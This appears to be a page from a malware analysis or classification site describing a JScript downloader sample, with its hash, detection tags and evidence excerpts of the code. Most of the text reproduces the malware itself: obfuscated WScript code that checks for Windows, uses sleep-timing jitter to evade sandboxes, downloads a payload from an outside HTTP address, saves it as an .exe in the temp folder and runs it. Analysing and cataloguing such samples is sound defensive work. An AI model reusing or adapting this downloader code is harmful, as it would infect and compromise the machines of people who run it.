Hostile ^100% javascript-malware-collection Download

20160328_9b1893deab6191c649214073a6a8763e.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-25632804d543fb1efd71a442e8ea94ff72e0ecff47448830d862ba0b67a7b2e74e8

MaleculeO₄(AlAs₂CXe)H₅(Cm₃Db₂F₄Os₂Po₅)Md(Pa)

Evidence

UTC millisecond jitter sleep check lines 1–37

1var Rxpny = false;
2var Qlgilgwu = "CreateObject";
3var Wdaobevjbo = function Pywocat() {return WScript[Qlgilgwu]("WScript.Shell");}();
4var Hprmpdo = 123213;
5var Qpnskstozc = "MSXML2.XMLHTTP";
6var Dzojalajeo = 2123213;
7var Hmnldpa = 0;
8function Gqfjeagl(Sydwtxnuty){Wdaobevjbo["Run"](Sydwtxnuty, Hmnldpa, Hmnldpa);};
9function Plinnnmg(){return Qpnskstozc;};
10function Tmkrxrwuq(Lgvlpmjqj, Xuaop){return Lgvlpmjqj - Xuaop;};
11function Hwogepisx(){return Qlgilgwu;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Rxpny = true;
15  @end
⋯6 lines
22function Heevqfn()
23{
24var Uzmpqufn = new this["Date"]();
25var Dbsktdthw = Uzmpqufn["getUTCMilliseconds"]();
26WScript["Sleep"](Ekxqbiqeex());
27var Uzmpqufn = new this["Date"]();
28var Ocdyb = Uzmpqufn["getUTCMilliseconds"]();
⋯9 lines

English function-word token "for" lines 37–42

37:37… 
38}
39var Ymsgirl = false;
40var Bdeblfk = false;
41for (var Daewd = Hmnldpa; Daewd < Ekxqbiqeex() * 1; Daewd++){if (Heevqfn() != Hmnldpa){
42Ymsgirl = tr …

Contains a hardcoded insecure HTTP URL lines 49–75

49:5… Ymsgirl && Ztpwkapdjx() && Bdeblfk){
50function Gzadhd() {return Wdaobevjbo["ExpandEnvironmentStrings"]("%TEMP%/") + "CxIhdRMO0bNeq5B3.exe";};
51 Otwxpcyee = Plinnnmg();
52 Vofghfy = WScript[Qlgilgwu](Otwxpcyee);
53 var Hoppbfbvlt = 1;
54 while (Hoppbfbvlt){
55try {
56Vofghfy[Aupjl]("GET", "http://www.creative-drumschool.de/p3isakd", false);
57Vofghfy["send"]();
58Eqzmt = "Sleep";
59do {WScript[Eqzmt](Ekxqbiqeex() * 11)} while (Vofghfy["readystate"] < 4 );
60Hoppbfbvlt = Hmnldpa;
61} catch(Nnttv){Hoppbfbvlt = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Vnhjlusmy(Asqojxgxv) {var Mcbeore = (1, 2, 3, 4, 5, Asqojxgxv); return Mcbeore;};
64Lrwyjz = WScript[Hwogepisx()]("ADODB.Stream");
65Otwxpcyee = Lrwyjz;
66Otwxpcyee[Aupjl]();
67Otwxpcyee["type"] = Vnhjlusmy(1);
68Otwxpcyee["write"](Vofghfy["ResponseBody"]);
69Lrwyjz["position"] = Vnhjlusmy(Hmnldpa);
70Otwxpcyee["SaveToFile"](Gzadhd(), Vnhjlusmy(2) );
71Lrwyjz["close"]();
72Gqfjeagl(Gzadhd());
73}
74}
75